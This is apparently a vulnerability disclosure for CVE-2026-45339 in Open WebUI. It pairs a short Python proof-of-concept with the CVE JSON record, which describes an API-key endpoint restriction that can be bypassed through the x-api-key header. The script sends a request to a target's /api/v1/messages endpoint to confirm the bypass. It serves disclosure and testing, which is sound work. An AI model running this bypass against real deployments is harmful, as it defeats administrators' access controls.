CVE-2026-45339

import requests def verify_vulnerability(target_url, api_key): """ This script verifies the access control bypass vulnerability in Open WebUI. It attempts to access a restricted endpoint using the x-api-key header. """ restricted_endpoint = f"{target_url}/api/v1/messages" # Payload for the API request payload = { "model": "default-model", "messages": [{"role": "user", "content": "test"}] } # Headers to test bypass headers = { "Content-Type": "application/json", "x-api-key": api_key # Vulnerable header } try: response = requests.post(restricted_endpoint, json=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Vulnerability Confirmed: Request bypassed restriction.") print(f"[+] Response: {response.text}") elif response.status_code == 403: print("[-] Access Denied: Restriction is working correctly.") else: print(f"[?] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:3000" key = "sk-restricted-key-example" verify_vulnerability(target, key)

{"cve": {"id": "CVE-2026-45339", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:48.693", "lastModified": "2026-05-15T20:16:48.693", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-57q6-fvp4-pqmm", "source": "[email protected]"}]}}